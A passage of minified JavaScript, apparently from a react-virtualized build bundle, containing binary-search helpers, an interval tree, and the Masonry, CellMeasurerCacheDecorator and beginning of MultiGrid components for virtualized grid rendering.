            }(a, void 0 === l ? 0 : 0 | l, void 0 === h ? a.length - 1 : 0 | h, y, c) : function(a, l, h, y) {
                for (var i = h + 1; l <= h; ) {
                    var m = l + h >>> 1;
                    y <= a[m] ? h = (i = m) - 1 : l = 1 + m;
                }
                return i;
            }(a, void 0 === c ? 0 : 0 | c, void 0 === l ? a.length - 1 : 0 | l, y);
        },
        gt: function(a, y, c, l, h) {
            return "function" == typeof c ? function(a, l, h, y, c) {
                for (var i = h + 1; l <= h; ) {
                    var m = l + h >>> 1;
                    0 < c(a[m], y) ? h = (i = m) - 1 : l = 1 + m;
                }
                return i;
            }(a, void 0 === l ? 0 : 0 | l, void 0 === h ? a.length - 1 : 0 | h, y, c) : function(a, l, h, y) {
                for (var i = h + 1; l <= h; ) {
                    var m = l + h >>> 1;
                    y < a[m] ? h = (i = m) - 1 : l = 1 + m;
                }
                return i;
            }(a, void 0 === c ? 0 : 0 | c, void 0 === l ? a.length - 1 : 0 | l, y);
        },
        lt: function(a, y, c, l, h) {
            return "function" == typeof c ? function(a, l, h, y, c) {
                for (var i = l - 1; l <= h; ) {
                    var m = l + h >>> 1;
                    c(a[m], y) < 0 ? l = 1 + (i = m) : h = m - 1;
                }
                return i;
            }(a, void 0 === l ? 0 : 0 | l, void 0 === h ? a.length - 1 : 0 | h, y, c) : function(a, l, h, y) {
                for (var i = l - 1; l <= h; ) {
                    var m = l + h >>> 1;
                    a[m] < y ? l = 1 + (i = m) : h = m - 1;
                }
                return i;
            }(a, void 0 === c ? 0 : 0 | c, void 0 === l ? a.length - 1 : 0 | l, y);
        },
        le: function(a, y, c, l, h) {
            return "function" == typeof c ? function(a, l, h, y, c) {
                for (var i = l - 1; l <= h; ) {
                    var m = l + h >>> 1;
                    c(a[m], y) <= 0 ? l = 1 + (i = m) : h = m - 1;
                }
                return i;
            }(a, void 0 === l ? 0 : 0 | l, void 0 === h ? a.length - 1 : 0 | h, y, c) : function(a, l, h, y) {
                for (var i = l - 1; l <= h; ) {
                    var m = l + h >>> 1;
                    a[m] <= y ? l = 1 + (i = m) : h = m - 1;
                }
                return i;
            }(a, void 0 === c ? 0 : 0 | c, void 0 === l ? a.length - 1 : 0 | l, y);
        },
        eq: function(a, y, c, l, h) {
            return "function" == typeof c ? function(a, l, h, y, c) {
                for (;l <= h; ) {
                    var m = l + h >>> 1, p = c(a[m], y);
                    if (0 === p) return m;
                    p <= 0 ? l = 1 + m : h = m - 1;
                }
                return -1;
            }(a, void 0 === l ? 0 : 0 | l, void 0 === h ? a.length - 1 : 0 | h, y, c) : function(a, l, h, y) {
                for (;l <= h; ) {
                    var m = l + h >>> 1, x = a[m];
                    if (x === y) return m;
                    x <= y ? l = 1 + m : h = m - 1;
                }
                return -1;
            }(a, void 0 === c ? 0 : 0 | c, void 0 === l ? a.length - 1 : 0 | l, y);
        }
    };
    function IntervalTreeNode(mid, left, right, leftPoints, rightPoints) {
        this.mid = mid, this.left = left, this.right = right, this.leftPoints = leftPoints, 
        this.rightPoints = rightPoints, this.count = (left ? left.count : 0) + (right ? right.count : 0) + leftPoints.length;
    }
    var proto = IntervalTreeNode.prototype;
    function copy(a, b) {
        a.mid = b.mid, a.left = b.left, a.right = b.right, a.leftPoints = b.leftPoints, 
        a.rightPoints = b.rightPoints, a.count = b.count;
    }
    function rebuild(node, intervals) {
        var ntree = createIntervalTree(intervals);
        node.mid = ntree.mid, node.left = ntree.left, node.right = ntree.right, node.leftPoints = ntree.leftPoints, 
        node.rightPoints = ntree.rightPoints, node.count = ntree.count;
    }
    function rebuildWithInterval(node, interval) {
        var intervals = node.intervals([]);
        intervals.push(interval), rebuild(node, intervals);
    }
    function rebuildWithoutInterval(node, interval) {
        var intervals = node.intervals([]), idx = intervals.indexOf(interval);
        return idx < 0 ? 0 : (intervals.splice(idx, 1), rebuild(node, intervals), 1);
    }
    function reportLeftRange(arr, hi, cb) {
        for (var i = 0; i < arr.length && arr[i][0] <= hi; ++i) {
            var r = cb(arr[i]);
            if (r) return r;
        }
    }
    function reportRightRange(arr, lo, cb) {
        for (var i = arr.length - 1; 0 <= i && arr[i][1] >= lo; --i) {
            var r = cb(arr[i]);
            if (r) return r;
        }
    }
    function reportRange(arr, cb) {
        for (var i = 0; i < arr.length; ++i) {
            var r = cb(arr[i]);
            if (r) return r;
        }
    }
    function compareNumbers(a, b) {
        return a - b;
    }
    function compareBegin(a, b) {
        var d = a[0] - b[0];
        return d || a[1] - b[1];
    }
    function compareEnd(a, b) {
        var d = a[1] - b[1];
        return d || a[0] - b[0];
    }
    function createIntervalTree(intervals) {
        if (0 === intervals.length) return null;
        for (var pts = [], i = 0; i < intervals.length; ++i) pts.push(intervals[i][0], intervals[i][1]);
        pts.sort(compareNumbers);
        var mid = pts[pts.length >> 1], leftIntervals = [], rightIntervals = [], centerIntervals = [];
        for (i = 0; i < intervals.length; ++i) {
            var s = intervals[i];
            s[1] < mid ? leftIntervals.push(s) : mid < s[0] ? rightIntervals.push(s) : centerIntervals.push(s);
        }
        var leftPoints = centerIntervals, rightPoints = centerIntervals.slice();
        return leftPoints.sort(compareBegin), rightPoints.sort(compareEnd), new IntervalTreeNode(mid, createIntervalTree(leftIntervals), createIntervalTree(rightIntervals), leftPoints, rightPoints);
    }
    function IntervalTree(root) {
        this.root = root;
    }
    proto.intervals = function(result) {
        return result.push.apply(result, this.leftPoints), this.left && this.left.intervals(result), 
        this.right && this.right.intervals(result), result;
    }, proto.insert = function(interval) {
        var weight = this.count - this.leftPoints.length;
        if (this.count += 1, interval[1] < this.mid) this.left ? 4 * (this.left.count + 1) > 3 * (1 + weight) ? rebuildWithInterval(this, interval) : this.left.insert(interval) : this.left = createIntervalTree([ interval ]); else if (interval[0] > this.mid) this.right ? 4 * (this.right.count + 1) > 3 * (1 + weight) ? rebuildWithInterval(this, interval) : this.right.insert(interval) : this.right = createIntervalTree([ interval ]); else {
            var l = bounds.ge(this.leftPoints, interval, compareBegin), r = bounds.ge(this.rightPoints, interval, compareEnd);
            this.leftPoints.splice(l, 0, interval), this.rightPoints.splice(r, 0, interval);
        }
    }, proto.remove = function(interval) {
        var weight = this.count - this.leftPoints;
        if (interval[1] < this.mid) {
            return this.left ? 3 * (weight - 1) < 4 * (this.right ? this.right.count : 0) ? rebuildWithoutInterval(this, interval) : 2 === (r = this.left.remove(interval)) ? (this.left = null, 
            this.count -= 1, 1) : (1 === r && (this.count -= 1), r) : 0;
        } else {
            if (interval[0] > this.mid) return this.right ? 3 * (weight - 1) < 4 * (this.left ? this.left.count : 0) ? rebuildWithoutInterval(this, interval) : 2 === (r = this.right.remove(interval)) ? (this.right = null, 
            this.count -= 1, 1) : (1 === r && (this.count -= 1), r) : 0;
            if (1 === this.count) return this.leftPoints[0] === interval ? 2 : 0;
            if (1 === this.leftPoints.length && this.leftPoints[0] === interval) {
                if (this.left && this.right) {
                    for (var p = this, n = this.left; n.right; ) n = (p = n).right;
                    if (p === this) n.right = this.right; else {
                        var l = this.left;
                        r = this.right;
                        p.count -= n.count, p.right = n.left, n.left = l, n.right = r;
                    }
                    copy(this, n), this.count = (this.left ? this.left.count : 0) + (this.right ? this.right.count : 0) + this.leftPoints.length;
                } else this.left ? copy(this, this.left) : copy(this, this.right);
                return 1;
            }
            for (l = bounds.ge(this.leftPoints, interval, compareBegin); l < this.leftPoints.length && this.leftPoints[l][0] === interval[0]; ++l) if (this.leftPoints[l] === interval) {
                this.count -= 1, this.leftPoints.splice(l, 1);
                for (r = bounds.ge(this.rightPoints, interval, compareEnd); r < this.rightPoints.length && this.rightPoints[r][1] === interval[1]; ++r) if (this.rightPoints[r] === interval) return this.rightPoints.splice(r, 1), 
                1;
            }
            return 0;
            var r;
        }
    }, proto.queryPoint = function(x, cb) {
        if (x < this.mid) {
            if (this.left) if (r = this.left.queryPoint(x, cb)) return r;
            return reportLeftRange(this.leftPoints, x, cb);
        }
        if (x > this.mid) {
            var r;
            if (this.right) if (r = this.right.queryPoint(x, cb)) return r;
            return reportRightRange(this.rightPoints, x, cb);
        }
        return reportRange(this.leftPoints, cb);
    }, proto.queryInterval = function(lo, hi, cb) {
        var r;
        if (lo < this.mid && this.left && (r = this.left.queryInterval(lo, hi, cb))) return r;
        if (hi > this.mid && this.right && (r = this.right.queryInterval(lo, hi, cb))) return r;
        return hi < this.mid ? reportLeftRange(this.leftPoints, hi, cb) : lo > this.mid ? reportRightRange(this.rightPoints, lo, cb) : reportRange(this.leftPoints, cb);
    };
    var tproto = IntervalTree.prototype;
    tproto.insert = function(interval) {
        this.root ? this.root.insert(interval) : this.root = new IntervalTreeNode(interval[0], null, null, [ interval ], [ interval ]);
    }, tproto.remove = function(interval) {
        if (this.root) {
            var r = this.root.remove(interval);
            return 2 === r && (this.root = null), 0 !== r;
        }
        return !1;
    }, tproto.queryPoint = function(p, cb) {
        if (this.root) return this.root.queryPoint(p, cb);
    }, tproto.queryInterval = function(lo, hi, cb) {
        if (lo <= hi && this.root) return this.root.queryInterval(lo, hi, cb);
    }, Object.defineProperty(tproto, "count", {
        get: function() {
            return this.root ? this.root.count : 0;
        }
    }), Object.defineProperty(tproto, "intervals", {
        get: function() {
            return this.root ? this.root.intervals([]) : [];
        }
    });
    var PositionCache = function() {
        function PositionCache() {
            _classCallCheck(this, PositionCache), _defineProperty(this, "_columnSizeMap", {}), 
            _defineProperty(this, "_intervalTree", function(intervals) {
                return intervals && 0 !== intervals.length ? new IntervalTree(createIntervalTree(intervals)) : new IntervalTree(null);
            }()), _defineProperty(this, "_leftMap", {});
        }
        return _createClass(PositionCache, [ {
            key: "estimateTotalHeight",
            value: function(cellCount, columnCount, defaultCellHeight) {
                var unmeasuredCellCount = cellCount - this.count;
                return this.tallestColumnSize + Math.ceil(unmeasuredCellCount / columnCount) * defaultCellHeight;
            }
        }, {
            key: "range",
            value: function(scrollTop, clientHeight, renderCallback) {
                var _this = this;
                this._intervalTree.queryInterval(scrollTop, scrollTop + clientHeight, function(_ref) {
                    var _ref2 = _slicedToArray(_ref, 3), top = _ref2[0], index = (_ref2[1], _ref2[2]);
                    return renderCallback(index, _this._leftMap[index], top);
                });
            }
        }, {
            key: "setPosition",
            value: function(index, left, top, height) {
                this._intervalTree.insert([ top, top + height, index ]), this._leftMap[index] = left;
                var columnSizeMap = this._columnSizeMap, columnHeight = columnSizeMap[left];
                columnSizeMap[left] = void 0 === columnHeight ? top + height : Math.max(columnHeight, top + height);
            }
        }, {
            key: "count",
            get: function() {
                return this._intervalTree.count;
            }
        }, {
            key: "shortestColumnSize",
            get: function() {
                var columnSizeMap = this._columnSizeMap, size = 0;
                for (var i in columnSizeMap) {
                    var height = columnSizeMap[i];
                    size = 0 === size ? height : Math.min(size, height);
                }
                return size;
            }
        }, {
            key: "tallestColumnSize",
            get: function() {
                var columnSizeMap = this._columnSizeMap, size = 0;
                for (var i in columnSizeMap) {
                    var height = columnSizeMap[i];
                    size = Math.max(size, height);
                }
                return size;
            }
        } ]), PositionCache;
    }(), Masonry = function() {
        function Masonry() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, Masonry);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(Masonry)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "state", {
                isScrolling: !1,
                scrollTop: 0
            }), _defineProperty(_assertThisInitialized(_this), "_debounceResetIsScrollingId", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_invalidateOnUpdateStartIndex", null), 
            _defineProperty(_assertThisInitialized(_this), "_invalidateOnUpdateStopIndex", null), 
            _defineProperty(_assertThisInitialized(_this), "_positionCache", new PositionCache()), 
            _defineProperty(_assertThisInitialized(_this), "_startIndex", null), _defineProperty(_assertThisInitialized(_this), "_startIndexMemoized", null), 
            _defineProperty(_assertThisInitialized(_this), "_stopIndex", null), _defineProperty(_assertThisInitialized(_this), "_stopIndexMemoized", null), 
            _defineProperty(_assertThisInitialized(_this), "_debounceResetIsScrollingCallback", function() {
                _this.setState({
                    isScrolling: !1
                });
            }), _defineProperty(_assertThisInitialized(_this), "_setScrollingContainerRef", function(ref) {
                _this._scrollingContainer = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_onScroll", function(event) {
                var height = _this.props.height, eventScrollTop = event.currentTarget.scrollTop, scrollTop = Math.min(Math.max(0, _this._getEstimatedTotalHeight() - height), eventScrollTop);
                eventScrollTop === scrollTop && (_this._debounceResetIsScrolling(), _this.state.scrollTop !== scrollTop && _this.setState({
                    isScrolling: !0,
                    scrollTop: scrollTop
                }));
            }), _this;
        }
        return _inherits(Masonry, React.PureComponent), _createClass(Masonry, [ {
            key: "clearCellPositions",
            value: function() {
                this._positionCache = new PositionCache(), this.forceUpdate();
            }
        }, {
            key: "invalidateCellSizeAfterRender",
            value: function(_ref) {
                var index = _ref.rowIndex;
                null === this._invalidateOnUpdateStartIndex ? (this._invalidateOnUpdateStartIndex = index, 
                this._invalidateOnUpdateStopIndex = index) : (this._invalidateOnUpdateStartIndex = Math.min(this._invalidateOnUpdateStartIndex, index), 
                this._invalidateOnUpdateStopIndex = Math.max(this._invalidateOnUpdateStopIndex, index));
            }
        }, {
            key: "recomputeCellPositions",
            value: function() {
                var stopIndex = this._positionCache.count - 1;
                this._positionCache = new PositionCache(), this._populatePositionCache(0, stopIndex), 
                this.forceUpdate();
            }
        }, {
            key: "componentDidMount",
            value: function() {
                this._checkInvalidateOnUpdate(), this._invokeOnScrollCallback(), this._invokeOnCellsRenderedCallback();
            }
        }, {
            key: "componentDidUpdate",
            value: function(prevProps) {
                this._checkInvalidateOnUpdate(), this._invokeOnScrollCallback(), this._invokeOnCellsRenderedCallback(), 
                this.props.scrollTop !== prevProps.scrollTop && this._debounceResetIsScrolling();
            }
        }, {
            key: "componentWillUnmount",
            value: function() {
                this._debounceResetIsScrollingId && cancelAnimationTimeout(this._debounceResetIsScrollingId);
            }
        }, {
            key: "render",
            value: function() {
                var stopIndex, _this2 = this, _this$props = this.props, autoHeight = _this$props.autoHeight, cellCount = _this$props.cellCount, cellMeasurerCache = _this$props.cellMeasurerCache, cellRenderer = _this$props.cellRenderer, className = _this$props.className, height = _this$props.height, id = _this$props.id, keyMapper = _this$props.keyMapper, overscanByPixels = _this$props.overscanByPixels, role = _this$props.role, style = _this$props.style, tabIndex = _this$props.tabIndex, width = _this$props.width, rowDirection = _this$props.rowDirection, _this$state = this.state, isScrolling = _this$state.isScrolling, scrollTop = _this$state.scrollTop, children = [], estimateTotalHeight = this._getEstimatedTotalHeight(), shortestColumnSize = this._positionCache.shortestColumnSize, measuredCellCount = this._positionCache.count, startIndex = 0;
                if (this._positionCache.range(Math.max(0, scrollTop - overscanByPixels), height + 2 * overscanByPixels, function(index, left, top) {
                    var _style;
                    stopIndex = void 0 === stopIndex ? startIndex = index : (startIndex = Math.min(startIndex, index), 
                    Math.max(stopIndex, index)), children.push(cellRenderer({
                        index: index,
                        isScrolling: isScrolling,
                        key: keyMapper(index),
                        parent: _this2,
                        style: (_style = {
                            height: cellMeasurerCache.getHeight(index)
                        }, _defineProperty(_style, "ltr" === rowDirection ? "left" : "right", left), _defineProperty(_style, "position", "absolute"), 
                        _defineProperty(_style, "top", top), _defineProperty(_style, "width", cellMeasurerCache.getWidth(index)), 
                        _style)
                    }));
                }), shortestColumnSize < scrollTop + height + overscanByPixels && measuredCellCount < cellCount) for (var batchSize = Math.min(cellCount - measuredCellCount, Math.ceil((scrollTop + height + overscanByPixels - shortestColumnSize) / cellMeasurerCache.defaultHeight * width / cellMeasurerCache.defaultWidth)), _index = measuredCellCount; _index < measuredCellCount + batchSize; _index++) stopIndex = _index, 
                children.push(cellRenderer({
                    index: _index,
                    isScrolling: isScrolling,
                    key: keyMapper(_index),
                    parent: this,
                    style: {
                        width: cellMeasurerCache.getWidth(_index)
                    }
                }));
                return this._startIndex = startIndex, this._stopIndex = stopIndex, React.createElement("div", {
                    ref: this._setScrollingContainerRef,
                    "aria-label": this.props["aria-label"],
                    className: clsx("ReactVirtualized__Masonry", className),
                    id: id,
                    onScroll: this._onScroll,
                    role: role,
                    style: _objectSpread2({
                        boxSizing: "border-box",
                        direction: "ltr",
                        height: autoHeight ? "auto" : height,
                        overflowX: "hidden",
                        overflowY: estimateTotalHeight < height ? "hidden" : "auto",
                        position: "relative",
                        width: width,
                        WebkitOverflowScrolling: "touch",
                        willChange: "transform"
                    }, style),
                    tabIndex: tabIndex
                }, React.createElement("div", {
                    className: "ReactVirtualized__Masonry__innerScrollContainer",
                    style: {
                        width: "100%",
                        height: estimateTotalHeight,
                        maxWidth: "100%",
                        maxHeight: estimateTotalHeight,
                        overflow: "hidden",
                        pointerEvents: isScrolling ? "none" : "",
                        position: "relative"
                    }
                }, children));
            }
        }, {
            key: "_checkInvalidateOnUpdate",
            value: function() {
                if ("number" == typeof this._invalidateOnUpdateStartIndex) {
                    var startIndex = this._invalidateOnUpdateStartIndex, stopIndex = this._invalidateOnUpdateStopIndex;
                    this._invalidateOnUpdateStartIndex = null, this._invalidateOnUpdateStopIndex = null, 
                    this._populatePositionCache(startIndex, stopIndex), this.forceUpdate();
                }
            }
        }, {
            key: "_debounceResetIsScrolling",
            value: function() {
                var scrollingResetTimeInterval = this.props.scrollingResetTimeInterval;
                this._debounceResetIsScrollingId && cancelAnimationTimeout(this._debounceResetIsScrollingId), 
                this._debounceResetIsScrollingId = requestAnimationTimeout(this._debounceResetIsScrollingCallback, scrollingResetTimeInterval);
            }
        }, {
            key: "_getEstimatedTotalHeight",
            value: function() {
                var _this$props2 = this.props, cellCount = _this$props2.cellCount, cellMeasurerCache = _this$props2.cellMeasurerCache, width = _this$props2.width, estimatedColumnCount = Math.max(1, Math.floor(width / cellMeasurerCache.defaultWidth));
                return this._positionCache.estimateTotalHeight(cellCount, estimatedColumnCount, cellMeasurerCache.defaultHeight);
            }
        }, {
            key: "_invokeOnScrollCallback",
            value: function() {
                var _this$props3 = this.props, height = _this$props3.height, onScroll = _this$props3.onScroll, scrollTop = this.state.scrollTop;
                this._onScrollMemoized !== scrollTop && (onScroll({
                    clientHeight: height,
                    scrollHeight: this._getEstimatedTotalHeight(),
                    scrollTop: scrollTop
                }), this._onScrollMemoized = scrollTop);
            }
        }, {
            key: "_invokeOnCellsRenderedCallback",
            value: function() {
                this._startIndexMemoized === this._startIndex && this._stopIndexMemoized === this._stopIndex || ((0, 
                this.props.onCellsRendered)({
                    startIndex: this._startIndex,
                    stopIndex: this._stopIndex
                }), this._startIndexMemoized = this._startIndex, this._stopIndexMemoized = this._stopIndex);
            }
        }, {
            key: "_populatePositionCache",
            value: function(startIndex, stopIndex) {
                for (var _this$props4 = this.props, cellMeasurerCache = _this$props4.cellMeasurerCache, cellPositioner = _this$props4.cellPositioner, _index2 = startIndex; _index2 <= stopIndex; _index2++) {
                    var _cellPositioner = cellPositioner(_index2), left = _cellPositioner.left, top = _cellPositioner.top;
                    this._positionCache.setPosition(_index2, left, top, cellMeasurerCache.getHeight(_index2));
                }
            }
        } ], [ {
            key: "getDerivedStateFromProps",
            value: function(nextProps, prevState) {
                return void 0 !== nextProps.scrollTop && prevState.scrollTop !== nextProps.scrollTop ? {
                    isScrolling: !0,
                    scrollTop: nextProps.scrollTop
                } : null;
            }
        } ]), Masonry;
    }();
    function noop() {}
    _defineProperty(Masonry, "defaultProps", {
        autoHeight: !1,
        keyMapper: function(value) {
            return value;
        },
        onCellsRendered: noop,
        onScroll: noop,
        overscanByPixels: 20,
        role: "grid",
        scrollingResetTimeInterval: 150,
        style: {},
        tabIndex: 0,
        rowDirection: "ltr"
    }), polyfill(Masonry);
    var CellMeasurerCacheDecorator = function() {
        function CellMeasurerCacheDecorator() {
            var _this = this, params = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {};
            _classCallCheck(this, CellMeasurerCacheDecorator), _defineProperty(this, "_cellMeasurerCache", void 0), 
            _defineProperty(this, "_columnIndexOffset", void 0), _defineProperty(this, "_rowIndexOffset", void 0), 
            _defineProperty(this, "columnWidth", function(_ref) {
                var index = _ref.index;
                _this._cellMeasurerCache.columnWidth({
                    index: index + _this._columnIndexOffset
                });
            }), _defineProperty(this, "rowHeight", function(_ref2) {
                var index = _ref2.index;
                _this._cellMeasurerCache.rowHeight({
                    index: index + _this._rowIndexOffset
                });
            });
            var cellMeasurerCache = params.cellMeasurerCache, _params$columnIndexOf = params.columnIndexOffset, columnIndexOffset = void 0 === _params$columnIndexOf ? 0 : _params$columnIndexOf, _params$rowIndexOffse = params.rowIndexOffset, rowIndexOffset = void 0 === _params$rowIndexOffse ? 0 : _params$rowIndexOffse;
            this._cellMeasurerCache = cellMeasurerCache, this._columnIndexOffset = columnIndexOffset, 
            this._rowIndexOffset = rowIndexOffset;
        }
        return _createClass(CellMeasurerCacheDecorator, [ {
            key: "clear",
            value: function(rowIndex, columnIndex) {
                this._cellMeasurerCache.clear(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
            }
        }, {
            key: "clearAll",
            value: function() {
                this._cellMeasurerCache.clearAll();
            }
        }, {
            key: "hasFixedHeight",
            value: function() {
                return this._cellMeasurerCache.hasFixedHeight();
            }
        }, {
            key: "hasFixedWidth",
            value: function() {
                return this._cellMeasurerCache.hasFixedWidth();
            }
        }, {
            key: "getHeight",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0;
                return this._cellMeasurerCache.getHeight(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
            }
        }, {
            key: "getWidth",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0;
                return this._cellMeasurerCache.getWidth(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
            }
        }, {
            key: "has",
            value: function(rowIndex, argument_1) {
                var columnIndex = 1 < arguments.length && void 0 !== argument_1 ? argument_1 : 0;
                return this._cellMeasurerCache.has(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset);
            }
        }, {
            key: "set",
            value: function(rowIndex, columnIndex, width, height) {
                this._cellMeasurerCache.set(rowIndex + this._rowIndexOffset, columnIndex + this._columnIndexOffset, width, height);
            }
        }, {
            key: "defaultHeight",
            get: function() {
                return this._cellMeasurerCache.defaultHeight;
            }
        }, {
            key: "defaultWidth",
            get: function() {
                return this._cellMeasurerCache.defaultWidth;
            }
        } ]), CellMeasurerCacheDecorator;
    }(), MultiGrid = function() {
        function MultiGrid(props, context) {
            var _this;
            _classCallCheck(this, MultiGrid), _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, _getPrototypeOf(MultiGrid).call(this, props, context))), "state", {
                scrollLeft: 0,
                scrollTop: 0,
                scrollbarSize: 0,
                showHorizontalScrollbar: !1,
                showVerticalScrollbar: !1
            }), _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateColumnIndex", null), 
            _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateRowIndex", null), 
            _defineProperty(_assertThisInitialized(_this), "_bottomLeftGridRef", function(ref) {
                _this._bottomLeftGrid = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_bottomRightGridRef", function(ref) {
                _this._bottomRightGrid = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_cellRendererBottomLeftGrid", function(_ref) {
                var rowIndex = _ref.rowIndex, rest = _objectWithoutProperties(_ref, [ "rowIndex" ]), _this$props = _this.props, cellRenderer = _this$props.cellRenderer, fixedRowCount = _this$props.fixedRowCount;
                return rowIndex === _this$props.rowCount - fixedRowCount ? React.createElement("div", {
                    key: rest.key,
                    style: _objectSpread2({}, rest.style, {
                        height: 20
                    })
                }) : cellRenderer(_objectSpread2({}, rest, {
                    parent: _assertThisInitialized(_this),
                    rowIndex: rowIndex + fixedRowCount
                }));
            }), _defineProperty(_assertThisInitialized(_this), "_cellRendererBottomRightGrid", function(_ref2) {
                var columnIndex = _ref2.columnIndex, rowIndex = _ref2.rowIndex, rest = _objectWithoutProperties(_ref2, [ "columnIndex", "rowIndex" ]), _this$props2 = _this.props, cellRenderer = _this$props2.cellRenderer, fixedColumnCount = _this$props2.fixedColumnCount, fixedRowCount = _this$props2.fixedRowCount;
                return cellRenderer(_objectSpread2({}, rest, {
                    columnIndex: columnIndex + fixedColumnCount,
                    parent: _assertThisInitialized(_this),
                    rowIndex: rowIndex + fixedRowCount
                }));
            }), _defineProperty(_assertThisInitialized(_this), "_cellRendererTopRightGrid", function(_ref3) {
                var columnIndex = _ref3.columnIndex, rest = _objectWithoutProperties(_ref3, [ "columnIndex" ]), _this$props3 = _this.props, cellRenderer = _this$props3.cellRenderer, columnCount = _this$props3.columnCount, fixedColumnCount = _this$props3.fixedColumnCount;
                return columnIndex === columnCount - fixedColumnCount ? React.createElement("div", {
                    key: rest.key,
                    style: _objectSpread2({}, rest.style, {
                        width: 20
                    })
                }) : cellRenderer(_objectSpread2({}, rest, {
                    columnIndex: columnIndex + fixedColumnCount,
                    parent: _assertThisInitialized(_this)
                }));
            }), _defineProperty(_assertThisInitialized(_this), "_columnWidthRightGrid", function(_ref4) {
                var index = _ref4.index, _this$props4 = _this.props, columnCount = _this$props4.columnCount, fixedColumnCount = _this$props4.fixedColumnCount, columnWidth = _this$props4.columnWidth, _this$state = _this.state, scrollbarSize = _this$state.scrollbarSize;
                return _this$state.showHorizontalScrollbar && index === columnCount - fixedColumnCount ? scrollbarSize : "function" == typeof columnWidth ? columnWidth({
                    index: index + fixedColumnCount
                }) : columnWidth;
            }), _defineProperty(_assertThisInitialized(_this), "_onScroll", function(scrollInfo) {
                var scrollLeft = scrollInfo.scrollLeft, scrollTop = scrollInfo.scrollTop;
                _this.setState({
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop
                });
                var onScroll = _this.props.onScroll;
                onScroll && onScroll(scrollInfo);
            }), _defineProperty(_assertThisInitialized(_this), "_onScrollbarPresenceChange", function(_ref5) {
                var horizontal = _ref5.horizontal, size = _ref5.size, vertical = _ref5.vertical, _this$state2 = _this.state, showHorizontalScrollbar = _this$state2.showHorizontalScrollbar, showVerticalScrollbar = _this$state2.showVerticalScrollbar;
                if (horizontal !== showHorizontalScrollbar || vertical !== showVerticalScrollbar) {
                    _this.setState({
                        scrollbarSize: size,
                        showHorizontalScrollbar: horizontal,
                        showVerticalScrollbar: vertical
                    });
                    var onScrollbarPresenceChange = _this.props.onScrollbarPresenceChange;
                    "function" == typeof onScrollbarPresenceChange && onScrollbarPresenceChange({
                        horizontal: horizontal,
                        size: size,
                        vertical: vertical
                    });
                }
            }), _defineProperty(_assertThisInitialized(_this), "_onScrollLeft", function(scrollInfo) {
                var scrollLeft = scrollInfo.scrollLeft;
                _this._onScroll({
                    scrollLeft: scrollLeft,
                    scrollTop: _this.state.scrollTop
                });
            }), _defineProperty(_assertThisInitialized(_this), "_onScrollTop", function(scrollInfo) {
                var scrollTop = scrollInfo.scrollTop;
                _this._onScroll({
                    scrollTop: scrollTop,
                    scrollLeft: _this.state.scrollLeft
                });
            }), _defineProperty(_assertThisInitialized(_this), "_rowHeightBottomGrid", function(_ref6) {
                var index = _ref6.index, _this$props5 = _this.props, fixedRowCount = _this$props5.fixedRowCount, rowCount = _this$props5.rowCount, rowHeight = _this$props5.rowHeight, _this$state3 = _this.state, scrollbarSize = _this$state3.scrollbarSize;
                return _this$state3.showVerticalScrollbar && index === rowCount - fixedRowCount ? scrollbarSize : "function" == typeof rowHeight ? rowHeight({
                    index: index + fixedRowCount
                }) : rowHeight;
            }), _defineProperty(_assertThisInitialized(_this), "_topLeftGridRef", function(ref) {
                _this._topLeftGrid = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_topRightGridRef", function(ref) {
                _this._topRightGrid = ref;
            });
            var deferredMeasurementCache = props.deferredMeasurementCache, _fixedColumnCount = props.fixedColumnCount, _fixedRowCount = props.fixedRowCount;
            return _this._maybeCalculateCachedStyles(!0), deferredMeasurementCache && (_this._deferredMeasurementCacheBottomLeftGrid = 0 < _fixedRowCount ? new CellMeasurerCacheDecorator({
                cellMeasurerCache: deferredMeasurementCache,
                columnIndexOffset: 0,
                rowIndexOffset: _fixedRowCount
            }) : deferredMeasurementCache, _this._deferredMeasurementCacheBottomRightGrid = 0 < _fixedColumnCount || 0 < _fixedRowCount ? new CellMeasurerCacheDecorator({
                cellMeasurerCache: deferredMeasurementCache,
                columnIndexOffset: _fixedColumnCount,
                rowIndexOffset: _fixedRowCount
            }) : deferredMeasurementCache, _this._deferredMeasurementCacheTopRightGrid = 0 < _fixedColumnCount ? new CellMeasurerCacheDecorator({
                cellMeasurerCache: deferredMeasurementCache,
                columnIndexOffset: _fixedColumnCount,
                rowIndexOffset: 0
            }) : deferredMeasurementCache), _this;
        }
        return _inherits(MultiGrid, React.PureComponent), _createClass(MultiGrid, [ {
            key: "forceUpdateGrids",
            value: function() {
                this._bottomLeftGrid && this._bottomLeftGrid.forceUpdate(), this._bottomRightGrid && this._bottomRightGrid.forceUpdate(), 
                this._topLeftGrid && this._topLeftGrid.forceUpdate(), this._topRightGrid && this._topRightGrid.forceUpdate();
            }
        }, {
            key: "invalidateCellSizeAfterRender",
            value: function(argument_0) {
                var _ref7 = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : {}, _ref7$columnIndex = _ref7.columnIndex, columnIndex = void 0 === _ref7$columnIndex ? 0 : _ref7$columnIndex, _ref7$rowIndex = _ref7.rowIndex, rowIndex = void 0 === _ref7$rowIndex ? 0 : _ref7$rowIndex;
